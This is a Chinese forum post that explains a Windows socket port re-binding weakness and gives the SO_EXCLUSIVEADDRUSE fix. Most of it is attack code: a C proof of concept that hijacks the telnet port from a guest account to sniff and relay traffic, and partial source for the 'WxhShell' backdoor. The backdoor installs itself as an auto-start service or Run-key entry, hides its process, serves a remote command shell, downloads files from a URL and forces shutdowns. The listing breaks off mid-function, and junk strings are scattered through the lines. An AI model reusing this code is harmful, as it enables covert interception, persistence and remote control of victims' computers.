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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: y\_k8RqE^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o>HU4O}  
rgF4 W8  
  saddr.sin_family = AF_INET; {uurLEe?  
_&N}.y)+t  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); oSLm?Lu  
vZ1?4hG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <"yL(s^u"  
QH_Ds,oH=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 aYM~Ub:x{  
8erG](  
  这意味着什么?意味着可以进行如下的攻击: I&`aGnr^^  
A4(k<<xjE  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jVh:Bw  
}X. Fm'`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a#l ytp  
Bo\~PV[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $%4<q0-  
11c\C Iu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Yr>0Qg],  
@$iZ9x6t  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 w|Ry) [  
zszmG^W{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /;{L~f=et)  
ZH*h1?\X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9tb-;|  
e7bMK<:r  
  #include +25=u|#4r  
  #include 9Ofls9]U  
  #include / DP0K @%  
  #include    UWhJkJsX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   z`.<dNg  
  int main() qHtIjtt[q  
  { K|OPtYeb  
  WORD wVersionRequested; /HS"{@Z"h  
  DWORD ret; VumM`SH  
  WSADATA wsaData; X/90S2=P  
  BOOL val; hvQXYo>TZx  
  SOCKADDR_IN saddr; /nuz_y\J  
  SOCKADDR_IN scaddr; rGXUV`5Na  
  int err; (x?Tjyzw  
  SOCKET s; hqlQ-aytS  
  SOCKET sc; $IjI{%  
  int caddsize; SD{)Sq  
  HANDLE mt; h_+  
  DWORD tid;   c#"t.j<E}  
  wVersionRequested = MAKEWORD( 2, 2 ); !lo /L  
  err = WSAStartup( wVersionRequested, &wsaData ); >KvK'Mus/  
  if ( err != 0 ) { EpyMc+.Ze'  
  printf("error!WSAStartup failed!\n"); RPte[tq  
  return -1; ?@;)2B|q  
  } CaO-aL  
  saddr.sin_family = AF_INET; 4#7*B yvf  
   f$:SacF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F;8Q`$n  
4C%pKV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )%MC*Z :^  
  saddr.sin_port = htons(23); 2~?E'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }UB@FRPF  
  { ,&WwADZ-s  
  printf("error!socket failed!\n"); J;8 d-R5  
  return -1; `HkNO@N[  
  } URrx7F98  
  val = TRUE; -[ gT}{k!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6{HCF-cQd  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @;P ;iI  
  { H4AT>}ri  
  printf("error!setsockopt failed!\n"); 1VlU'qY  
  return -1; BB(6[V"SV  
  } n*=#jL  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M\5|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o25rKC=o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !LwHKCj  
@:9Gs!!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;ISnI  
  { GgG #]a!_f  
  ret=GetLastError(); ~EPVu  
  printf("error!bind failed!\n"); ^D$|$=|DH  
  return -1; kY~4AH  
  } mnsl$H_4S  
  listen(s,2); ?zf3Fn2y  
  while(1) 96(Mu% l  
  { -PE_qZ^  
  caddsize = sizeof(scaddr); j,+]tHC-  
  //接受连接请求 | :-i[G?n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _NsEeKU  
  if(sc!=INVALID_SOCKET) Ptv'.<-  
  { 1^}I?PbqV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7PX`kI  
  if(mt==NULL) {}$7Bp  
  { _xp8*2~-  
  printf("Thread Creat Failed!\n"); a,c!#iyl3  
  break; y(p_Unm  
  } WR"D7{>tw  
  } xf]K  
  CloseHandle(mt); + O.-o/  
  } ,KW Q 6  
  closesocket(s); @owneSD qN  
  WSACleanup(); "%gsGtS  
  return 0; g 4[Vgmh J  
  }   USz~l7Xs  
  DWORD WINAPI ClientThread(LPVOID lpParam) [X.bR$>  
  { Cku"vVw,  
  SOCKET ss = (SOCKET)lpParam; go uU  
  SOCKET sc; JNfL jfE)<  
  unsigned char buf[4096]; !mmMAsd,  
  SOCKADDR_IN saddr; W&?Qs=@  
  long num; y>P+"Z.K%}  
  DWORD val; iAwEnQ3h  
  DWORD ret; br[iRda@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g"!(@]L!@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dI{DiPho  
  saddr.sin_family = AF_INET; lM6pYYEq=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2s\ClT  
  saddr.sin_port = htons(23); `@/)S^jBau  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AI-*5[w#A  
  { ~zqb{o^pT  
  printf("error!socket failed!\n"); $ F2Uv\7=  
  return -1; %;,fI'M  
  } K3yQ0k |  
  val = 100; 5X)8Nwbc  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zw/AZLS  
  { !(GyOAb  
  ret = GetLastError(); Z}J5sifr  
  return -1; 35<A :jKS  
  } 3e_tT8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i+Z)`  
  { )kpEcMlR  
  ret = GetLastError(); wVBK Vb9N  
  return -1; ~||0lj.D  
  } YV O$`W^N  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _fHC+lwN  
  { D}_.D=)  
  printf("error!socket connect failed!\n"); Joow{75K  
  closesocket(sc); =&}@GsXdo  
  closesocket(ss); 36 "n7  
  return -1; cq1 5@a mX  
  } n|(lPbD  
  while(1) jm}CrqU  
  { 9`tK 9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 hyI7X7Hy  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Bn}woyJdx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 d54iZ`  
  num = recv(ss,buf,4096,0); mMAN* }`O  
  if(num>0) _olQ;{ U:  
  send(sc,buf,num,0); &@0~]\,D7  
  else if(num==0) oz) [ -  
  break; >>U>'}@Q  
  num = recv(sc,buf,4096,0); $R9D L^iD  
  if(num>0) 1Cr&6't  
  send(ss,buf,num,0); I'/3_AX  
  else if(num==0) W__ArV2Z_  
  break; \TQZZ_Z  
  } L)e" qC_-  
  closesocket(ss); Rs%`6et}\  
  closesocket(sc); uYh!04u  
  return 0 ; ij" ~]I  
  } zF1!a  
>B BV/C'9  
dSM\:/t  
========================================================== ^HKXm#vAB  
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下边附上一个代码,,WXhSHELL broLC5hbQU  
LrB 0x>  
========================================================== "Ep"$d  
*dl hRa  
#include "stdafx.h" jK|n^5\  
~ao:9 ynY  
#include <stdio.h> YpZB-9Krf  
#include <string.h> wlS/(:02  
#include <windows.h> iT]t`7R  
#include <winsock2.h> fvu{(Tb  
#include <winsvc.h> ;%tFi  
#include <urlmon.h> 7'0Vb !(  
8z=# 0+0  
#pragma comment (lib, "Ws2_32.lib") 7^L  
#pragma comment (lib, "urlmon.lib") ^Q/*on;A,/  
_imuyt".+  
#define MAX_USER   100 // 最大客户端连接数 s9 - qR_  
#define BUF_SOCK   200 // sock buffer u`bD`kfT>  
#define KEY_BUFF   255 // 输入 buffer 2W AeSUX  
xS*UY.>  
#define REBOOT     0   // 重启 at uqo3  
#define SHUTDOWN   1   // 关机 Bf{u:TCK  
rH@Rh}#yp  
#define DEF_PORT   5000 // 监听端口 01cBAu   
GVY7`k"km  
#define REG_LEN     16   // 注册表键长度 /jv/qk3i  
#define SVC_LEN     80   // NT服务名长度 5EYGA\  
V_7\VKR  
// 从dll定义API  N' hT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hU?DLl:bXF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AA\a#\#Z3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7KC>?F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \Y P,}_ ~  
EX,>V,.UV  
// wxhshell配置信息 pH '_k k  
struct WSCFG { 0eY!Z._^  
  int ws_port;         // 监听端口 J1w;m/oV  
  char ws_passstr[REG_LEN]; // 口令 7=-Yxt  
  int ws_autoins;       // 安装标记, 1=yes 0=no $xO8?  
  char ws_regname[REG_LEN]; // 注册表键名 zdN[Uc+1Bd  
  char ws_svcname[REG_LEN]; // 服务名 3?Pg ;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lM-9J?j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kx,.)qKk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]#:WL)@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "\|P6H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0Lo8pe`DH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ] !/  
.}IW!$ dq  
}; oe<i\uX8z  
j=r1JV @  
// default Wxhshell configuration t3<MoDe7`r  
struct WSCFG wscfg={DEF_PORT, c'oiW)8;A  
    "xuhuanlingzhe", oE ' P  
    1, *HoRYCL  
    "Wxhshell", b RAD_  
    "Wxhshell", us.#|~i<h  
            "WxhShell Service", Xa`Q;J"h  
    "Wrsky Windows CmdShell Service", tZ_'>7)  
    "Please Input Your Password: ", y4-kuMYR  
  1, wGyVmC  
  "http://www.wrsky.com/wxhshell.exe", ,`geOJn'  
  "Wxhshell.exe" ]az(w&vqg2  
    }; nPyn~3  
O= S[ n  
// 消息定义模块 )eZK/>L&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u)oAQ<w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jVff@)_S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $DHE%IN`  
char *msg_ws_ext="\n\rExit."; <>HtXn/  
char *msg_ws_end="\n\rQuit."; gFR}WBl/  
char *msg_ws_boot="\n\rReboot..."; 9$)&b\D  
char *msg_ws_poff="\n\rShutdown..."; M}8P _<,  
char *msg_ws_down="\n\rSave to "; 2!#g\"  
q T6y&  
char *msg_ws_err="\n\rErr!"; /4x\}qvU  
char *msg_ws_ok="\n\rOK!"; 'K7\[if{  
#b^6>  
char ExeFile[MAX_PATH]; T]th3*  
int nUser = 0; {H)7K.hQN  
HANDLE handles[MAX_USER]; `2f/4]fY  
int OsIsNt; Yq ]sPE92  
n ]g"H  
SERVICE_STATUS       serviceStatus; "xlR>M6e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iT'doF  
?UsCSJ1V  
// 函数声明 0YiTv;mq;  
int Install(void); OBWb0t5H?  
int Uninstall(void); /43l}6I  
int DownloadFile(char *sURL, SOCKET wsh); ad}8~6}_&  
int Boot(int flag); , >7PG2 a  
void HideProc(void); i^DMnvV.  
int GetOsVer(void); wUaWF$~y  
int Wxhshell(SOCKET wsl); [/a AH<9b  
void TalkWithClient(void *cs); }H ~-oYMu  
int CmdShell(SOCKET sock); 8H7#[?F  
int StartFromService(void); p{,#H/+J  
int StartWxhshell(LPSTR lpCmdLine); <tvLKx  
Ar<5UnT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %`i*SF(gV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r^5%0_F]  
:i&]J$^;  
// 数据结构和表定义 ,:mL\ZED  
SERVICE_TABLE_ENTRY DispatchTable[] = P*KIk~J  
{ Bz/ba *  
{wscfg.ws_svcname, NTServiceMain}, '&cH,yc;b  
{NULL, NULL} @T^FOTW  
}; Krae^z9R  
YYpC!)  
// 自我安装 q8P&rMwy  
int Install(void) ]hV!lG1_  
{ )#i@DHt=  
  char svExeFile[MAX_PATH]; 9)wYSz'  
  HKEY key;  x+cL(R  
  strcpy(svExeFile,ExeFile); (RFH.iX  
VpJKH\)Rt(  
// 如果是win9x系统,修改注册表设为自启动 m""+ $  
if(!OsIsNt) { N>(w+h+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i.^ytbH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fG1iq<~  
  RegCloseKey(key); 1)k+v17]f5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S]fu M%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _^W;J/He  
  RegCloseKey(key); 1_t+lJI9j  
  return 0; <8}FsRr;J  
    } > -OOU  
  } ( unmf,y  
} Oa/zE H  
else { q;,lv3I  
fHd[8{;P:  
// 如果是NT以上系统,安装为系统服务 OTF/Pu$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fJlNxdVr  
if (schSCManager!=0) c*rH^Nz  
{ sQ`G'<!  
  SC_HANDLE schService = CreateService  !64Tx  
  ( 0BDw}E\  
  schSCManager, @ZU$W9g  
  wscfg.ws_svcname, s)- ;74(  
  wscfg.ws_svcdisp, d/R!x{$-f  
  SERVICE_ALL_ACCESS, estiS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MS\vrq'_  
  SERVICE_AUTO_START, hnFpC1TO  
  SERVICE_ERROR_NORMAL, kQmkS^R  
  svExeFile, ./ {79  
  NULL, b7>'ARdbzX  
  NULL, *|S6iSn9R!  
  NULL, +4-T_m/W/  
  NULL, $6Q^u r:  
  NULL ketp9}u  
  ); hY.i`sp*/  
  if (schService!=0) u79- B-YW^  
  { ^7y t>  
  CloseServiceHandle(schService); YTyrX  
  CloseServiceHandle(schSCManager); B,\VLX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -qj[ck(y  
  strcat(svExeFile,wscfg.ws_svcname); es*$/A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZwDL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); elR'e6Q  
  RegCloseKey(key); w6s[|i)&  
  return 0; 6&x\!+]F8  
    } w1G(s$;C  
  } 8Nzn%0(Q  
  CloseServiceHandle(schSCManager); !F ?j'[s8]  
} hw`pi6  
} 6[FXgCb  
{qSMJja!t  
return 1; jc32s}/H  
} ) C\/(  
c8zok `\P_  
// 自我卸载 5%K|dYv^^  
int Uninstall(void) Jzp|#*~$E  
{ Ii3F|Vb G  
  HKEY key; O|Y`:xvc  
tJ7tZ~Ak  
if(!OsIsNt) { <}xgp[O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CG35\b;Q  
  RegDeleteValue(key,wscfg.ws_regname); Vv`94aQTD  
  RegCloseKey(key); [\0>@j}Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^VnnYtCRz  
  RegDeleteValue(key,wscfg.ws_regname); 0e:j=kd)NH  
  RegCloseKey(key); J`; 9Z  
  return 0; #l*w=D?  
  } D#,A_GA{A  
} 0XC3O 8q  
} 'aeuL1mz  
else { "QxULiw  
^jwzCo-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ipbhjK$  
if (schSCManager!=0) Y%;X7VxU*  
{ FpA t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }6/M5zF3  
  if (schService!=0) a 4ViVy  
  { Nt $4;  
  if(DeleteService(schService)!=0) { >rQj1D)@  
  CloseServiceHandle(schService); `r SOt *<  
  CloseServiceHandle(schSCManager); GrG'G(NQ  
  return 0; +45SKu=  
  } VVSt,/SO  
  CloseServiceHandle(schService); , ]1f)>  
  } 4q]6[/  
  CloseServiceHandle(schSCManager); ![B|Nxq}@  
} Xsa8YP9  
} imif[n+]}d  
'/xynk%)xw  
return 1; 23r(4  
} ~b]enG5xS4  
|^Y"*Y4*h  
// 从指定url下载文件 o_Zs0/  
int DownloadFile(char *sURL, SOCKET wsh) X% 05[N  
{ #EUT"^:d  
  HRESULT hr; h^rG5Q  
char seps[]= "/"; ng+sK  
char *token; bxYSZCo*  
char *file; C<teZz8/w  
char myURL[MAX_PATH]; `r1j>F7Xb  
char myFILE[MAX_PATH]; X[h{g`  
6rbR0dSgx  
strcpy(myURL,sURL); \LJ!X3TZ  
  token=strtok(myURL,seps); SM)"vr_  
  while(token!=NULL) 95IP_1}?  
  { pmBN?<  
    file=token; 4J[zNB]  
  token=strtok(NULL,seps); lfb+)s  
  } <m\Y$Wv  
n eu<zSS  
GetCurrentDirectory(MAX_PATH,myFILE); TI8\qIW  
strcat(myFILE, "\\"); j.6!T'$|  
strcat(myFILE, file); `Eg X#  
  send(wsh,myFILE,strlen(myFILE),0); Y>3zpeQ!&  
send(wsh,"...",3,0); ]0<K^OIY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~Qif-|[V  
  if(hr==S_OK) *VXx\&  
return 0; {Pe&J2 +  
else g]h@U&`~u_  
return 1; Q1*_l  
vG6*[c8  
} H ABUf^~-  
D"$ 97  
// 系统电源模块 2?LPr  
int Boot(int flag) /zh:7N  
{ }BW&1*M{  
  HANDLE hToken; A- m IWTa  
  TOKEN_PRIVILEGES tkp; -wH0g^Ed  
|g \ _xl  
  if(OsIsNt) { ;~r-P$kCY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eQyc<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VDv.N@ ) 7  
    tkp.PrivilegeCount = 1; n|WSnm,W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /+B6oE>8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); . WJ  
if(flag==REBOOT) { =n=!s{A:t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R)N^j'R~=  
  return 0; sqF.,A,  
} Zw4%L?   
else { \I6F;G6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !]7b31$M_  
  return 0; (p' /a.bn  
} zrE{CdG%y  
  } OYa9f[$  
  else { {SZv#MrK  
if(flag==REBOOT) { .k up[d(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <O-R  
  return 0; BP&] t1p  
} BG 4TUt  
else { 0x&L'&SpN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X*Q<REDB  
  return 0; j@UE#I|h  
} NP!LBB)=Y  
} 7a/ BS(kq<  
i}|jHlv  
return 1; #?>p l.  
} )T slI  
5VVU%STP  
// win9x进程隐藏模块 GJ?J6@|  
void HideProc(void) {8;}y[R  
{ -\Z`+kY?p  
][8`}ki 1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !b$~Sm)  
  if ( hKernel != NULL ) mSEX?so=[  
  { *u[@C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  Oo~   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %r(qQM.Pl  
    FreeLibrary(hKernel); &< FKcrZ,  
  } l['ER$(7  
Psf{~ (Ii  
return; &!+1GI9z  
} j97K\]tQ  
GJF ,w{J  
// 获取操作系统版本 *m'&<pg]X  
int GetOsVer(void) P|;v>  
{ J0t_wM Ja  
  OSVERSIONINFO winfo; vNm4xa%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k~QmDq  
  GetVersionEx(&winfo); W$z^U) |t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,nUovWN07  
  return 1; 90=gP  
  else =,s5>2  
  return 0; =6qSo @  
} btDTC 9O  
|k: FNu]C  
// 客户端句柄模块 M2qor.d  
int Wxhshell(SOCKET wsl) |uJjO>8]|  
{ R0q|{5S  
  SOCKET wsh; _( QW2m?K  
  struct sockaddr_in client; T!1XL7  
  DWORD myID; ciCQe]fS  
~UwqQD1p  
  while(nUser<MAX_USER) *4Z! 5iOs  
{ a,xy3 8T<  
  int nSize=sizeof(client); @~i : 8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $WQm"WAKe  
  if(wsh==INVALID_SOCKET) return 1; 8'Q&FW3"  
Rf{YASPIw&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "(p&Oz  
if(handles[nUser]==0) &i *e&{L7  
  closesocket(wsh); +rDKx(Rk  
else 6""i<oR  
  nUser++; UQBc$`v  
  } ,Mn`kL<F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;"NW= P&  
tYhNr  
  return 0; Z3dI B`@  
} "Q[?W( SA  
AFWWGz  
// 关闭 socket aOmQ<N]a  
void CloseIt(SOCKET wsh) i~{0>"9  
{ VexQ ]  
closesocket(wsh); #*"I?B/fd8  
nUser--; 6MQyr2c  
ExitThread(0); t2FA|UF  
} 8?hj}}H  
u X(#+  
// 客户端请求句柄 KP gzB^>  
void TalkWithClient(void *cs) 6PLdzZ{  
{ 6PMu*-Nv!j  
l0%7u  
  SOCKET wsh=(SOCKET)cs; EV R>R  
  char pwd[SVC_LEN]; \Bl`;uXb  
  char cmd[KEY_BUFF]; LUA<N:  
char chr[1]; X D \;|  
int i,j; F^cu!-L  
]q|U0(q9  
  while (nUser < MAX_USER) { )fbYP@9>a  
|N5|B Q(y$  
if(wscfg.ws_passstr) { H|<Zm:.%$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v<gve<]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P5Pb2|\*  
  //ZeroMemory(pwd,KEY_BUFF); gnw?Y 2  
      i=0; _[y<u})  
  while(i<SVC_LEN) { E7@m& R  
DxG8`}+  
  // 设置超时 8/W2;>?wKc  
  fd_set FdRead; +<sv/gEt  
  struct timeval TimeOut; |G P1[Q{  
  FD_ZERO(&FdRead); \!4_m8?  
  FD_SET(wsh,&FdRead); N[sJ5oF  
  TimeOut.tv_sec=8; Ji0FHa_  
  TimeOut.tv_usec=0; 1-8 G2e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ' -rRD\"q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'A'[N :i  
jJe?pT]o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D8)6yPwE  
  pwd=chr[0]; KKNQ+'?  
  if(chr[0]==0xd || chr[0]==0xa) { 1oL3y;>iL  
  pwd=0; X 3(*bj>P  
  break; dEPLkv  
  } C]ef `5NR]  
  i++; cA B<'44R  
    } Lwkl*  
\y+@mJWa  
  // 如果是非法用户,关闭 socket 9QEK|x`8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $)VnHr `hy  
} !OMl-:KUzE  
8l >Xbz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o}y(T07n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T< o8lL  
&Yd6w}8  
while(1) { @8 lT*O2j  
0G(|`xG1q  
  ZeroMemory(cmd,KEY_BUFF); +RyV"&v  
#E4|@}30`  
      // 自动支持客户端 telnet标准   3?<LWrhV3  
  j=0; KDLrt  
  while(j<KEY_BUFF) { :d wP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8_T9[ ]7V8  
  cmd[j]=chr[0]; axz.[L_elB  
  if(chr[0]==0xa || chr[0]==0xd) { ;.3 {}.Y  
  cmd[j]=0; !>)o&sM  
  break; `a9iq>   
  } _tpOVw4I  
  j++; Cl3L)  
    } MZxU)QW1  
v#`>  
  // 下载文件 )rlkQ'DN  
  if(strstr(cmd,"http://")) { b80&${v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4bL? V^@7  
  if(DownloadFile(cmd,wsh)) u J]uz%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G9GHBwT  
  else IO ]tO[P#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +5 gX6V\  
  } )>U"WZ'<  
  else { =e0MEV#s.  
p=#/H ,2  
    switch(cmd[0]) { &9z&#`AY]>  
  1ox#hQBoS  
  // 帮助 w4_Xby)  
  case '?': { [_(uz,'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Bjj =UtI  
    break; -dN`Ok<g  
  } +JY8"a97>  
  // 安装 W(?J,8>  
  case 'i': { cxvO,8NiB  
    if(Install()) K K]R@{ r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c&aqN\'4"  
    else f)gV2f0t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k6GQH@y!  
    break; *~cNUyd  
    } Ux{QYjF E  
  // 卸载 heB![N0:  
  case 'r': { fA0wQz]u  
    if(Uninstall()) 4 >H0a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d{) =E8wE  
    else T+rym8.p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wV{j CQ  
    break; <:N$ $n  
    } 2 n2,MB  
  // 显示 wxhshell 所在路径 HU|qeSyel  
  case 'p': { ZtP/|P5@  
    char svExeFile[MAX_PATH]; o8IqO'  
    strcpy(svExeFile,"\n\r"); /L2n ~/  
      strcat(svExeFile,ExeFile); mo= @Zt  
        send(wsh,svExeFile,strlen(svExeFile),0); <7B;_3/  
    break; $Fy~xMA8O  
    } 2`ERrh^i"  
  // 重启 M9Yov4k,4]  
  case 'b': {  G;A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]W%rhppC  
    if(Boot(REBOOT)) 9$ VdYw7D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7lJ8<EP9 u  
    else { a9_2b}t  
    closesocket(wsh); e8egxm  
    ExitThread(0); bNtOqhi  
    } PJe \PGh  
    break; m7XN6zX  
    } %u<r_^w5  
  // 关机 &hi][Pt  
  case 'd': { IM[=]j.?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W?.xtQEv  
